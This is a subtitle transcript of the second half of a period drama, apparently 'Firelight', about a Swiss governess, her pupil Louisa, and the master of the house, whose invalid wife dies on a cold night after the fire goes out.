To Miss Laurier.
Miss Laurier.

00:50:21.260 --> 00:50:25.420
Governess after Governess has tried
to control Louisa and failed.

00:50:25.524 --> 00:50:29.507
Only Miss Laurier has realized that
first she must control Charles.

00:50:29.611 --> 00:50:33.709
Yes. But look at him. He's not at all grateful.

00:50:39.444 --> 00:50:42.071
I understand you'll be leaving in a month.

00:50:43.865 --> 00:50:46.941
Where do you go?

00:50:47.045 --> 00:50:49.860
Another situation.

00:50:49.964 --> 00:50:53.363
Then what?
I don't understand.

00:50:53.468 --> 00:50:57.920
Well, the years go by, you're no longer required, then what?

00:50:58.462 --> 00:51:00.839
Do you return to Switzerland?

00:51:03.717 --> 00:51:06.543
I can't see into the future.

00:51:07.064 --> 00:51:10.244
Some say the future is what you make it.

00:51:11.391 --> 00:51:14.258
Well, in...in America, certainly.

00:51:14.363 --> 00:51:17.762
In America.
That's what I mean.

00:51:17.866 --> 00:51:19.951
In America.

00:51:42.755 --> 00:51:44.840
Good night, darling.

00:51:49.011 --> 00:51:51.179
We've begun now.

00:52:16.996 --> 00:52:19.947
You asked to see me?

00:52:20.051 --> 00:52:24.388
Yes. I wanted a moment alone with you before I go.

00:52:24.493 --> 00:52:26.839
Please, have a seat.

00:52:30.342 --> 00:52:33.678
Miss Laurier, I won't waste your time.

00:52:35.472 --> 00:52:40.091
I'm a single man with 5,000 acres to my name.

00:52:40.195 --> 00:52:43.302
If you would consider a life in America...

00:52:43.407 --> 00:52:48.036
I would be proud to take you there, as my wife...

00:52:50.111 --> 00:52:53.656
You pay me a very great compliment, sir.

00:52:55.658 --> 00:52:58.108
But the answer's no.

00:52:58.212 --> 00:53:00.454
I'm afraid so.

00:53:02.289 --> 00:53:06.877
Well. You don't know till you ask.

00:53:07.920 --> 00:53:10.589
You're not too disappointed, I think.

00:53:12.466 --> 00:53:16.855
Well, I hardly know you, so I can't make out
I'll not be able to live without you...

00:53:16.960 --> 00:53:19.869
but, well, a man can get his hopes up

00:53:19.870 --> 00:53:22.581
pretty high pretty quick.

00:53:23.518 --> 00:53:25.635
I'm sorry.

00:53:25.739 --> 00:53:28.690
Just so I know...

00:53:29.732 --> 00:53:33.277
Guess I'll be doing something
like this again one of these days.

00:53:35.321 --> 00:53:38.522
Is it anything I can fix...

00:53:38.626 --> 00:53:43.068
like my dress or how I talk?

00:53:43.172 --> 00:53:45.404
No, Mr.Taylor.

00:53:45.508 --> 00:53:48.897
Any lady would be fortunate to be courted by you.

00:53:49.001 --> 00:53:51.837
Any lady but you.

00:54:05.934 --> 00:54:09.395
Louisa, darling, please.
You promised me.

00:54:11.814 --> 00:54:15.432
Louisa, I really can't bear this.
That's why she does it.

00:54:15.537 --> 00:54:18.686
Damnation, can't I feel for my own child?

00:54:18.790 --> 00:54:21.709
Feel for her, Mr.Godwin, but don't pity her.

00:54:21.814 --> 00:54:25.202
Louisa, let go. Please.

00:54:29.790 --> 00:54:32.584
Go, then. If you want to go, go.

00:54:38.924 --> 00:54:43.136
Will you be all right, darling?
You don't care, so what does it matter?

00:54:52.979 --> 00:54:55.377
Now, it's just you and me.

00:54:55.378 --> 00:54:58.298
Shall we start our lessons?

00:55:00.611 --> 00:55:04.271
I don't have to do what you say.
You're just a servant.

00:55:04.272 --> 00:55:06.252
That's enough! Be silent.

00:55:07.409 --> 00:55:10.193
You will obey me, whether you want to or not.

00:55:10.298 --> 00:55:13.738
You will obey me because, poor as I am,
I am placed in authority over you.

00:55:13.843 --> 00:55:17.993
You will not speak disrespectfully
to me or raise your voice to me.

00:55:18.618 --> 00:55:23.248
Servant! Servant! Servant!

00:55:23.352 --> 00:55:25.437
Servant! Servant! Servant!

00:55:25.479 --> 00:55:28.972
Servant! Servant! Servant!

00:55:37.897 --> 00:55:39.847
I'm not a servant.
I'm a prisoner.

00:55:39.951 --> 00:55:42.433
So will you be when you grow up.

00:55:42.537 --> 00:55:45.321
The day you come of age, the gates will close around you

00:55:45.425 --> 00:55:47.729
because you are a woman!

00:55:47.834 --> 00:55:51.191
If you marry, everything you own will
become the property of your husband.

00:55:51.295 --> 00:55:55.487
If you don't marry, every profession
will be closed to you but one...

00:55:55.591 --> 00:55:59.574
and that one is a life of loneliness and humiliation.

00:55:59.678 --> 00:56:02.035
They lock you up, Louise!

00:56:02.139 --> 00:56:04.496
But there's one door they can't lock.

00:56:04.600 --> 00:56:07.290
They can't imprison your mind...

00:56:07.394 --> 00:56:09.709
and that's why I want you to learn to read.

00:56:09.813 --> 00:56:12.618
I want you to have your own life.

00:56:16.226 --> 00:56:19.155
Write and tell me when the Southdowns
start winning all the prizes.

00:56:19.260 --> 00:56:22.242
Come and see for yourself.
Maybe I will.

00:56:22.346 --> 00:56:26.006
Best grazing in the world. $20 an acre. Think about it.

00:56:28.571 --> 00:56:30.729
Did you find time for that other business?

00:56:30.833 --> 00:56:33.878
She turned me down.
She turned you down?

00:56:33.982 --> 00:56:36.975
Mm. I guess there's somebody else.

00:56:37.204 --> 00:56:39.759
Lucky fellow is all I can say.

00:56:39.863 --> 00:56:42.668
Bye, Charles.
Bye, John.

00:57:21.288 --> 00:57:23.373
Don't go.

00:57:26.918 --> 00:57:29.410
Constance will be down directly.

00:57:29.515 --> 00:57:31.600
As you wish.

00:57:46.729 --> 00:57:51.014
Mr.Taylor tells me he made you an offer
and, uh, you refused him.

00:57:51.119 --> 00:57:52.891
Yes.

00:57:54.820 --> 00:57:56.906
The fire gives more light than one expects, doesn't it?

00:57:58.532 --> 00:58:00.305
Yes.

00:58:06.039 --> 00:58:09.230
The fire gives more light than one expects, doesn't it?

00:58:14.673 --> 00:58:16.341
Yes.

00:58:24.724 --> 00:58:28.895
No lamps lit? What's Jane thinking of?

00:58:46.870 --> 00:58:49.665
I don't know how much you want to know.

00:58:58.965 --> 00:59:01.051
I remember her.

00:59:05.263 --> 00:59:07.348
The firelight.

00:59:09.976 --> 00:59:12.061
I remember her.

00:59:16.774 --> 00:59:18.859
too much.

01:00:07.072 --> 01:00:08.845
Bee.

01:00:10.742 --> 01:00:12.515
Tree.

01:00:13.870 --> 01:00:15.716
Eye.

01:00:15.925 --> 01:00:18.010
See.

01:00:20.919 --> 01:00:22.691
Pig.

01:00:23.651 --> 01:00:28.259
Dig. Wig. This is stupid.

01:00:32.889 --> 01:00:34.703
Bad.

01:00:37.768 --> 01:00:39.854
Sad.

01:00:43.274 --> 01:00:44.932
Happy.

01:00:45.036 --> 01:00:47.278
I suppose it's "glad."

01:00:51.615 --> 01:00:54.034
Mad.
Yes.

01:01:06.588 --> 01:01:09.507
When I was young, I had no mother.

01:01:10.592 --> 01:01:13.094
She died just after I was born.

01:01:14.512 --> 01:01:17.536
I loved my father very much...

01:01:17.682 --> 01:01:20.643
but what I wanted most was a mother.

01:01:31.487 --> 01:01:34.615
The sick lady is not my real mother.

01:01:36.408 --> 01:01:40.662
Yes, I know.
My real mother's not sick.

01:01:41.371 --> 01:01:43.238
Where is she?

01:01:43.967 --> 01:01:45.980
It's a secret.

01:01:48.586 --> 01:01:52.705
Do you ever see her?
Of course. Every day.

01:01:52.809 --> 01:01:55.207
What do you do with her?

01:01:57.136 --> 01:01:59.222
Just be with her.

01:02:42.054 --> 01:02:44.661
Miss Laurier. "See."

01:02:46.642 --> 01:02:49.864
How do you know she doesn't just read
the pictures rather than the words?

01:02:49.968 --> 01:02:53.774
She does.
Oh, yes? That's not really reading.

01:02:54.358 --> 01:02:56.475
No, it's only pretending...

01:02:56.579 --> 01:02:59.863
but after a while, the pretense becomes a reality.

01:03:00.155 --> 01:03:02.240
I see.

01:03:09.206 --> 01:03:11.823
Louisa tells me you have some story about firelight.

01:03:11.927 --> 01:03:13.595
Yes.

01:03:14.043 --> 01:03:16.494
I tell her firelight is a magic time...

01:03:16.598 --> 01:03:18.683
when time stands still.

01:03:18.788 --> 01:03:20.998
Why'd you tell her that?

01:03:21.102 --> 01:03:23.438
I find it helps.

01:03:23.542 --> 01:03:26.827
A time with no rules at the end of the day.

01:03:34.438 --> 01:03:36.628
I must ask you to help me.

01:03:38.567 --> 01:03:40.444
How?

01:03:41.111 --> 01:03:45.407
There was a time...it was a short time...
when we were close, you and I.

01:03:47.534 --> 01:03:50.620
Yes?
Do you remember it?

01:03:50.954 --> 01:03:52.831
Yes.

01:03:57.627 --> 01:04:01.297
Just tell me that time is over and can never come again.

01:04:05.301 --> 01:04:07.386
You don't answer.

01:04:14.643 --> 01:04:17.438
What happens when time stands still?

01:04:19.189 --> 01:04:21.890
The firelight.

01:04:21.994 --> 01:04:24.736
You can do what you want...

01:04:25.237 --> 01:04:27.896
Say what you want.

01:04:28.000 --> 01:04:30.638
Be what you want.

01:04:36.498 --> 01:04:40.095
When the lamps are lit again...time starts again, but...

01:04:40.199 --> 01:04:44.495
everything you said or did is forgotten.

01:04:44.599 --> 01:04:46.997
More than forgotten.

01:04:48.342 --> 01:04:50.741
Never happened.

01:07:26.453 --> 01:07:30.029
Thank you.
Oh, God, I hate the country!

01:07:30.133 --> 01:07:33.094
It's always so damn cold.
Come on, Molly, into the mausoleum.

01:07:33.199 --> 01:07:34.429
Hello, Connie.
Hello.

01:07:34.533 --> 01:07:36.848
Terrible journey.
The roads get worse every year.

01:07:36.952 --> 01:07:39.913
How are you?
Jimmy, who are all these people?

01:07:40.018 --> 01:07:42.207
Fiddlers.

01:07:42.729 --> 01:07:46.274
You, more coal on the fire before I freeze to death!

01:07:46.378 --> 01:07:49.506
Come on in, Manzini. Herd your fellows in.

01:07:49.610 --> 01:07:52.676
We can't have a dance without music, Connie.
Everyone knows that.

01:07:52.780 --> 01:07:54.678
Dance?
Fire!

01:07:54.782 --> 01:07:58.150
Can't bend, mi lord. Wig falls off.

01:07:58.734 --> 01:08:00.923
Father.
Yes, yes. Here I am.

01:08:00.975 --> 01:08:03.936
Hello there, little Missy. Who are all these people?

01:08:04.041 --> 01:08:06.835
Christmas cheer. What is it about this house?

01:08:06.939 --> 01:08:09.473
The moment I walk in, I want to kill myself.

01:08:10.912 --> 01:08:12.966
Damn it, boy, don't preach at me.

01:08:13.070 --> 01:08:15.239
You do realize we have to sell one of the farms?

01:08:15.343 --> 01:08:18.867
Never sell land, Charles.
The one sensible thing my father ever said to me.

01:08:18.972 --> 01:08:21.537
Why borrow money if all you mean is to give it back?

01:08:21.641 --> 01:08:23.831
Where's Molly? She can't still be dressing.

01:08:23.935 --> 01:08:25.978
Are there any more charges on the estate?
Well, what do I know?

01:08:26.083 --> 01:08:28.168
I'm not a bank clerk. I just live my life.

01:08:28.272 --> 01:08:30.921
All for the sake of a few short years of passing pleasure.

01:08:31.025 --> 01:08:34.674
Passing pleasures are all we have, boy.
All we have between us and the grave.

01:08:34.779 --> 01:08:38.345
Hello. Who are you?
This is Miss Laurier.

01:08:38.449 --> 01:08:41.097
This is, uh, my father, Lord Clare.

01:08:41.201 --> 01:08:43.892
Miss Laurier is Louisa's Governess.

01:08:43.996 --> 01:08:47.165
Never had Governesses like you in my day.
What are you, French?

01:08:47.270 --> 01:08:49.480
No, I'm from Switzerland.

01:08:49.584 --> 01:08:53.401
Sacrifice your life if you want, Charles. I mean to enjoy mine.

01:08:53.505 --> 01:08:56.164
Miss Laurier, is it? Do you Polka?

01:09:27.068 --> 01:09:30.989
Well done, Charles. She is lovely.

01:09:31.698 --> 01:09:35.076
What?
Your Swiss Governess.

01:09:35.514 --> 01:09:39.434
Oh. Yes.
She's an excellent teacher.

01:09:40.248 --> 01:09:42.333
Well, I'm glad to hear it.

01:09:44.961 --> 01:09:47.327
Connie?
Yes, yes.

01:09:47.432 --> 01:09:49.413
What do you say to a quick turn around the room?

01:09:49.517 --> 01:09:51.175
Why not?

01:10:02.811 --> 01:10:06.200
Oh! Oh, Lord Clare, are you all right?

01:10:06.304 --> 01:10:08.660
Of course I'm all right.
I'm so sorry. Was it me?

01:10:08.765 --> 01:10:10.954
I'll see to him, Miss Laurier.
Please don't trouble yourself.

01:10:11.038 --> 01:10:13.290
Look, I tell you, I'm all right. I want to dance, damn it.

01:10:13.394 --> 01:10:14.989
Why didn't you say?

01:10:24.248 --> 01:10:27.616
I never thought I'd get you onto a dance floor, Charles.

01:10:27.720 --> 01:10:30.171
There's a first time for everything.

01:12:30.369 --> 01:12:32.788
You sent for me, sir?

01:12:34.582 --> 01:12:37.574
Well, are you or aren't you?

01:12:37.679 --> 01:12:41.171
Am I what?
Diddling Charles.

01:12:43.465 --> 01:12:45.916
Molly says you are.

01:12:46.020 --> 01:12:48.710
She can usually spot these things, you know.

01:12:48.814 --> 01:12:51.390
You judge everyone by yourself, sir?

01:12:53.809 --> 01:12:55.967
Well, at least you understand what I'm talking about.

01:12:56.071 --> 01:12:58.261
You're not gonna sue him or anything, are you?

01:12:59.606 --> 01:13:02.400
No.
And you're wrong, Missy.

01:13:03.318 --> 01:13:07.363
I don't judge everyone by myself, least of all Charles.

01:13:08.072 --> 01:13:11.179
I know he's not like me 'cause he's just like my father.

01:13:12.452 --> 01:13:15.371
The old bastard never thought much of me.

01:13:16.706 --> 01:13:18.999
Duty this, duty that.

01:13:21.377 --> 01:13:23.462
And now Charles.

01:13:26.173 --> 01:13:29.656
Odd to have your own son acting like your father, you know.

01:13:32.638 --> 01:13:35.171
He must have been a child once.

01:13:35.276 --> 01:13:38.101
But of course he was a child once.

01:13:41.855 --> 01:13:43.940
Well, you're right there.

01:13:46.442 --> 01:13:49.904
When he was a little fellow. I'd forgotten that.

01:13:52.031 --> 01:13:54.383
You know, when Charles was about 16 years old,

01:13:54.488 --> 01:13:58.193
he stood up before me and he said...
Father, I can't respect for a man

01:13:58.298 --> 01:14:00.216
which lives only his own pleasure.

01:14:00.320 --> 01:14:03.323
You know what I answered?
What?

01:14:03.428 --> 01:14:06.222
My boy, you've no right to speak to your father like that...

01:14:06.326 --> 01:14:09.027
until you've got yourself well and truly fucked.

01:14:09.715 --> 01:14:13.677
Well...now he has.

01:14:19.891 --> 01:14:21.977
Good for you, Missy.

01:14:23.311 --> 01:14:25.084
Good for you.

01:14:28.691 --> 01:14:30.985
And you're right, of course.

01:14:33.279 --> 01:14:35.573
He's my boy.

01:15:46.057 --> 01:15:50.291
She pretends she has a mother there.
I know. We're all pretending.

01:15:51.959 --> 01:15:56.600
When you come into a room,
I pretend that I haven't noticed you.

01:15:56.912 --> 01:16:01.551
And then I look, and there's nothing in the world but you.

01:16:04.784 --> 01:16:07.724
Sometimes I think, "Why don't we just go away?"

01:16:08.579 --> 01:16:11.874
You, me, Louisa.
Would you come with me?

01:16:13.083 --> 01:16:15.680
Why ask?
It's only pretending.

01:16:15.784 --> 01:16:19.204
You can't leave.
I don't think I can bear it.

01:16:19.308 --> 01:16:23.604
You have your duty to your estate,
to your family, to your wife.

01:16:23.708 --> 01:16:26.211
How can you be so calm?

01:16:26.315 --> 01:16:28.192
Not calm.

01:16:34.625 --> 01:16:39.275
Stay with me tonight.
All night.

01:17:52.262 --> 01:17:54.180
Louise!

01:17:55.640 --> 01:17:58.205
Come back!
It is not safe!

01:18:00.895 --> 01:18:03.502
Louisa, don't leave me!

01:19:16.801 --> 01:19:20.055
Sleep, darling. Sleep.

01:19:52.419 --> 01:19:54.713
I'll never leave you.

01:19:55.672 --> 01:19:57.445
Never.

01:20:47.805 --> 01:20:49.891
They're making an inventory.

01:20:51.643 --> 01:20:54.593
Charles left for town at first light.

01:20:54.698 --> 01:20:57.607
Mr.Dodds tells me the estate is to be sold.

01:21:04.363 --> 01:21:07.053
I wonder what will become of us all.

01:21:08.575 --> 01:21:12.892
Who knows? Maybe it's for the best.

01:21:14.373 --> 01:21:17.282
Sometimes this house feels like a prison.

01:21:17.595 --> 01:21:20.337
Mr.Godwin loves it very much.

01:21:20.921 --> 01:21:23.006
Yes, he did once.

01:21:25.175 --> 01:21:28.824
But the house died the day, Amy...

01:21:28.887 --> 01:21:31.201
didn't die.

01:21:32.765 --> 01:21:35.268
I wish she had died.

01:21:35.977 --> 01:21:38.062
Does that shock you?

01:21:39.522 --> 01:21:41.399
No.

01:21:44.026 --> 01:21:48.603
There's a law, of course, that forbids a man...

01:21:48.708 --> 01:21:51.658
from marrying his deceased wife's sister.

01:21:52.117 --> 01:21:55.047
But it's an absurd law, so easily evaded.

01:21:55.151 --> 01:21:59.520
You think if Mrs.Godwin were to die,
you and Mr.Godwin would marry?

01:22:04.838 --> 01:22:08.237
I don't pretend he loves me as he loved Amy.

01:22:11.219 --> 01:22:14.034
But ten years is a long time.

01:22:16.599 --> 01:22:19.519
We've grown older together.

01:22:19.727 --> 01:22:22.855
There's a kind of closeness in that.

01:22:35.534 --> 01:22:37.411
Fire?

01:22:45.710 --> 01:22:47.587
God.

01:22:54.010 --> 01:22:57.148
Hat.
What's that word?

01:22:57.253 --> 01:23:00.422
Hat.
How do you know?

01:23:00.527 --> 01:23:03.133
Because of the picture.

01:23:07.857 --> 01:23:10.088
How do I know?

01:23:59.031 --> 01:24:01.794
Charles, you're back.
Hello, Connie.

01:24:01.898 --> 01:24:05.756
Is everything going to be all right?
No.

01:24:05.860 --> 01:24:07.873
Nothing's going to be all right.

01:24:11.501 --> 01:24:14.108
Are there so very many debts?

01:24:15.839 --> 01:24:17.715
Yes.

01:24:19.425 --> 01:24:22.564
Yes, the damage is well and truly done.

01:24:22.668 --> 01:24:25.098
The estate will have to go.

01:24:27.266 --> 01:24:29.352
Oh, Charles.

01:24:30.770 --> 01:24:32.928
I am so sorry.

01:24:33.032 --> 01:24:35.806
But it's not right. Something should be done.

01:24:35.910 --> 01:24:38.767
No, it's not right...

01:24:38.871 --> 01:24:41.509
but nothing will be done.

01:24:46.618 --> 01:24:49.121
What will become of us?

01:24:52.541 --> 01:24:54.626
Who knows?

01:25:18.857 --> 01:25:21.256
It's a cold night, Amy.

01:25:22.361 --> 01:25:24.446
Bitter cold.

01:25:25.489 --> 01:25:28.784
I've often thought that this is a kind of prison for you...

01:25:31.641 --> 01:25:36.249
and that if you could speak, you'd ask me to...

01:25:41.463 --> 01:25:44.278
You'd ask me to let you go.

01:25:45.925 --> 01:25:48.740
I have to know that you want it.

01:26:00.689 --> 01:26:03.296
Show me what you want, Amy.

01:26:09.615 --> 01:26:12.221
Show me what you want.

01:27:39.826 --> 01:27:43.246
Lord, from you we come, to you we must return.

01:27:50.336 --> 01:27:52.818
Take my beloved wife.

01:28:46.765 --> 01:28:49.591
Sometime in the night, I'd say.

01:28:49.695 --> 01:28:51.916
It was a very cold night.

01:28:55.315 --> 01:28:58.256
I understand that the fire had gone out.

01:28:59.403 --> 01:29:01.279
Yes.

01:29:01.571 --> 01:29:04.230
That was unfortunate.

01:29:04.334 --> 01:29:07.734
It wasn't me, sir. I swear on the Good Book.

01:29:07.838 --> 01:29:09.715
Nobody's blaming you, Hannah.

01:29:11.039 --> 01:29:13.645
It's been ten years.

01:29:14.667 --> 01:29:18.775
At least now she's at peace.
Indeed.

01:29:21.632 --> 01:29:23.718
Indeed.

01:29:28.639 --> 01:29:31.558
I think we should leave.

01:30:16.518 --> 01:30:20.480
You haven't eaten.
No, I...

01:30:23.775 --> 01:30:26.226
Are you all right, Charles?

01:30:26.330 --> 01:30:29.072
Am I all right?
Yes, I think so.

01:30:35.703 --> 01:30:38.310
I loved Amy dearly...

01:30:40.375 --> 01:30:42.460
But I know...

01:30:45.213 --> 01:30:48.028
I know that this is for the best.

01:30:51.260 --> 01:30:53.888
You really believe that?

01:30:55.222 --> 01:30:57.308
Yes, I do.

01:31:01.520 --> 01:31:04.054
Dear Connie.

01:31:04.158 --> 01:31:07.359
You've been good to me all these years.

01:31:10.237 --> 01:31:13.021
And you've been good to me, Charles.

01:31:13.125 --> 01:31:16.722
So much is changing.
What's to become of us all?

01:31:18.953 --> 01:31:21.769
As your friend Mr.Taylor said...

01:31:22.707 --> 01:31:25.251
The future is what we make of it.

01:31:49.274 --> 01:31:51.922
I'm sorry.
No, don't speak.

01:31:52.652 --> 01:31:54.738
I...

01:31:56.197 --> 01:31:59.367
didn't mean...
Well, it's just a mistake, that's all.

01:32:03.871 --> 01:32:06.791
Uh, sorry to have disturbed you.

01:32:11.879 --> 01:32:13.964
Connie.

01:32:16.717 --> 01:32:18.802
Yes, Charles?

01:32:26.727 --> 01:32:29.354
You know how much I loved her, don't you?

01:32:31.273 --> 01:32:33.358
Yes, Charles, I do.

01:32:41.908 --> 01:32:46.100
Behold, I show you a mystery.

01:32:47.246 --> 01:32:51.532
We shall not all sleep, but we shall all be changed...

01:32:51.636 --> 01:32:55.119
in a moment, in the twinkling of an eye...

01:32:55.223 --> 01:32:57.339
at the last trump.

01:32:58.466 --> 01:33:00.415
For the trumpet shall sound...

01:33:00.520 --> 01:33:03.919
and the dead shall be raised incorruptible...

01:33:04.023 --> 01:33:06.671
And we shall be changed.

01:33:06.776 --> 01:33:10.884
For this corruptible must put on incorruption...

01:33:10.988 --> 01:33:13.720
and this mortal must put on...

01:33:13.721 --> 01:33:16.432
immortality.

01:33:16.535 --> 01:33:20.351
So when this corruptible shall have put on incorruption...

01:33:20.455 --> 01:33:24.021
and this mortal shall have put on immortality...

01:33:24.126 --> 01:33:26.565
then shall be brought to pass

01:33:26.566 --> 01:33:29.069
the saying that is written...

01:33:29.172 --> 01:33:33.249
Death is swallowed up in victory.

01:33:33.833 --> 01:33:37.284
O death, where is thy sting?

01:33:37.388 --> 01:33:41.799
O grave, where is thy victory?

01:34:07.991 --> 01:34:10.076
Does he love you?

01:34:13.121 --> 01:34:14.997
Yes.

01:34:17.750 --> 01:34:20.200
Do you love him?

01:34:20.305 --> 01:34:22.181
Yes.

01:34:25.674 --> 01:34:28.364
I would have made him happy.

01:34:33.056 --> 01:34:35.434
Love him for me too.

01:35:03.711 --> 01:35:05.588
Was it you?

01:35:08.549 --> 01:35:10.113
Yes.

01:35:44.500 --> 01:35:47.107
I guess it's what she wanted.

01:35:48.295 --> 01:35:50.798
But I'll never know.

01:35:55.469 --> 01:35:57.554
I must live with that.

01:36:00.682 --> 01:36:02.559
As must I.

01:36:03.977 --> 01:36:06.813
You? You've done nothing.
Nothing?

01:36:10.191 --> 01:36:12.558
I've wanted you and Louisa...

01:36:12.662 --> 01:36:16.656
with all my mind and heart and will for seven long years.

01:36:17.949 --> 01:36:19.690
It seems to me that my desire...

01:36:19.794 --> 01:36:22.537
has destroyed everything that stood in its way:

01:36:23.246 --> 01:36:26.895
your wife, your house, your world.

01:36:28.334 --> 01:36:31.337
I never knew there was so much power in desire.

01:36:33.088 --> 01:36:37.280
And if it was so...are you sorry?

01:36:37.468 --> 01:36:39.240
No.

01:36:48.812 --> 01:36:51.314
Then we deserve each other.

01:36:56.819 --> 01:36:59.676
May God have mercy on us.

01:38:08.305 --> 01:38:10.911
Why did you give me away?

01:38:14.269 --> 01:38:18.398
I didn't. I sold you.

01:38:31.744 --> 01:38:33.725
How much for?

01:38:35.206 --> 01:38:37.583
£500.

01:38:38.876 --> 01:38:43.213
Is that a lot?
It's a fortune.

01:38:55.058 --> 01:38:57.873
I'm glad it was a lot.

01:39:13.701 --> 01:39:15.786
Mama.

01:39:18.831 --> 01:39:23.523
Mama.
Oh, my pretty. My pretty.

01:39:23.877 --> 01:39:25.754
Mama.

01:39:30.217 --> 01:39:32.094
Mama.

01:39:33.595 --> 01:39:35.472
Mama.

ZeroDay Forums Mini